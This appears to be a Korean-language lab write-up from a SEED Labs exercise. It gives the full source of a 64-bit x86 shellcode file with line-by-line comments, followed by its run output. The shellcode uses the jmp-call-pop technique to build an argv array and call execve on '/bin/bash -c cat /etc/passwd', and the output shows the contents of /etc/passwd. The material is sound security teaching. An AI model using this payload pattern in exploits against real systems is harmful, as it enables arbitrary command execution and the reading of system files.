generic_shellcode_64.s 코드

```
; ARGV: rbx 기준으로 argv 배열이 시작되는 오프셋(문자열 뒤에 이어서 위치하게 설정)
ARGV equ 29          ;  위 문자열들의 길이를 보고, argv 배열이 시작될 오프셋 계산해서 채우기

section .text          ; 코드 섹션 시작
global _start          ; 엔트리 포인트 심볼 선언

_start:
  BITS 64              ; 이하 코드를 64비트 명령어로 해석

  jmp short two        ; 먼저 문자열 쪽(two)으로 점프해서, call을 이용해 문자열 시작 주소를 얻기

one:
  pop rbx              ; call two에서 push된 리턴 주소(= 문자열 시작 주소)를 rbx에 저장

  xor rax, rax         ; rax = 0, al도 0이 됨(널 바이트로 사용)
  mov [rbx+9],  al     ; "/bin/bash*"의 마지막 '*'를 '₩0'으로 바꿔서 C 문자열로 만들기
  mov [rbx+12], al     ; "-c*"의 마지막 '*'를 '₩0'으로 바꾸기
  mov [rbx+28], al   ; 마지막 인자 문자열의 '*' 위치를 '₩0'으로 바꾸기

  ; ---- 여기부터 argv 배열 구성 ----
  mov [rbx+ARGV],    rbx   ; argv[0] = "/bin/bash" 문자열 주소
  lea rcx, [rbx+10]        ; rcx = "-c" 문자열 시작 주소
  mov [rbx+ARGV+8], rcx    ; argv[1] = "-c"
  lea rcx, [rbx+13]        ; rcx = 마지막 인자 문자열 시작 주소
  mov [rbx+ARGV+16], rcx   ; argv[2] = 마지막 인자 문자열
  mov [rbx+ARGV+24], rax   ; argv[3] = NULL (argv 배열의 끝 표시)
```

```
  ; ---- execve("/bin/bash", argv, NULL) 호출 ----
  mov rdi, rbx             ; rdi = filename 인자 → "/bin/bash" 주소
  lea rsi, [rbx+ARGV]      ; rsi = argv 배열의 시작 주소
  xor rdx, rdx             ; rdx = 0 → envp = NULL
  xor rax, rax             ; rax 초기화
  mov al, 0x3b             ; rax = 59 (리눅스 x86-64에서 execve() 시스템 콜 번호)
  syscall                  ; execve("/bin/bash", argv, NULL) 호출

two:
  call one                 ; 다음 바이트 주소(아래 문자열 시작)를 스택에 push하고 one으로 점프

  db '/bin/bash*'        ; 쉘 실행 파일 이름 문자열('*'는 나중에 '₩0'으로 바꿀 예정)
  db '-c*'                 ; 옵션 문자열("-c", 마지막 '*'는 나중에 '₩0' 처리)
  db 'cat /etc/passwd*'              ; 실제로 실행할 명령 문자열 (내용 + 마지막에 '*' 붙여서 작성)
```

./generic _shellcode_64.s 실행 후

```
[11/24/25]seed@VM:~$ ./eneric_shellcode_64
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbi
n/nologin
```